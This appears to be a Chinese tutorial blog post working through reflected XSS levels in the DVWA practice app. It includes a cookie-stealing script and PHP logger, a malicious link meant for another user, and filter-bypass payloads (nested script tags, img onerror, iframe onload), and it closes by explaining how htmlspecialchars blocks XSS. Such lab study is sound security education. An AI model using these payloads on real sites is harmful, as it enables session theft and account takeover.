一、反射型
1.等级为low
1.1 在上篇文章,low等级的已经做过简单的Cookie示范,这里做一个补充。
先建立文本
D.js
var img = new Image();
img.src="http://127.0.0.1/DVWA/vulnerabilities/xss_r/D.php?x=" + document.cookie;
document.body.append(img);
D.php
<?php
$cookie = $_GET['x'];
$ip = getenv ('REMOTE_ADDR');
$time = date('Y-m-d g:i:s');
$fp = fopen("cookie.txt","a");
fwrite($fp,"IP: ".$ip."Date: ".$time." Cookie:".$cookie."\n");
fclose($fp);
?>
我们要生成链接获取cookie 构造语句(script标签):
http://127.0.0.1/DVWA/vulnerabilities/xss_r/?name=<script src="http://127.0.0.1/DVWA/vulnerabilities/xss_r/hacker.js" /></script>
然后这个url发给另一个用户后,这个用户点开并且输入了自己的姓名
我们会得到一个cookie。txt文件,里面就包含cookie。 在此时,我们可以登录DVWA 使用我们得到的cookie进行登录。
2.等级为medium
2.1测试过滤方式
按照惯例,我们还是测试是否存在xss漏洞 这里发现没有弹窗。 查看源码后发现
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
这是str_replace()函数,意思是查看name内是否有script,有则把它替换成空格。简单的黑名单过滤。 对于str_replace()函数我们也可以通过双写绕过(内嵌)
<scr<script>ipt>alert(/xss/);</script>
原来是<script>alert(/xss/)</script>
然后再次进行测试,能够正常弹出。
2.2使用其他标签
也可以使用也可以使用非 script 标签的 xss payload绕过(替换) img标签:
<img src=1 onerror=alert('xss')>
iframe标签:
<iframe onload=alert(1)>
例如: 在SQL注入中,对于被过滤的关键词可以采用以下这几种方法:(大小写.转义.内嵌.替换) 上面那个双写绕过就是内嵌. 大小写:
<Script>alert('XSS')</Script>
替换:使用其他标签来替换
<img src="#" οnerrοr=alert('XSS')>
3.等级为high
还是输入那个一般语句进行测试,发现只剩下一个>,则应该是前面部分全部被过滤。猜测是更高级的黑名单过滤。 就像上面medium等级写的,可以使用其他非script的标签进行绕过。 例如使用img标签就可以成功。
4.等级为impossible
调换等级后发现,无论输入什么,都是这个样子。啊,对此我有点无语,这什么鬼,hello都不显? 好了,查看一下源码吧。ok,查看文件代码发现 这里使用了htmlspecialchars()函数,此函数是使用来把一些预定义的字符转换为HTML实体,返回转换后的新字符串,原字符串不变。如果 string 包含无效的编码,则返回一个空的字符串,除非设置了 ENT_IGNORE 或者 ENT_SUBSTITUTE 标志。 在此要讲的是: XSS攻击的核心就是靠HTMLscript>标签或元素属性来执行Javascript脚本。 而 htmlspecialchars 则可以转义 <> ,这样就无法通过script标签攻击。同时又可以过滤掉双引号,单引号(需要另外加个参数),阻止靠元素属性来触发事件执行脚本。 基本样子为:
& (和号) 成为 &
" (双引号) 成为 "
' (单引号) 成为 '
< (小于) 成为 <
> (大于) 成为 >
所以impossible使用的这个函数,使得此等级不存在xss漏洞。 (我这个目录怎么有点强迫症的feel,腿麻了。今天存储型写不完了啊啊啊啊,明天再更。)
|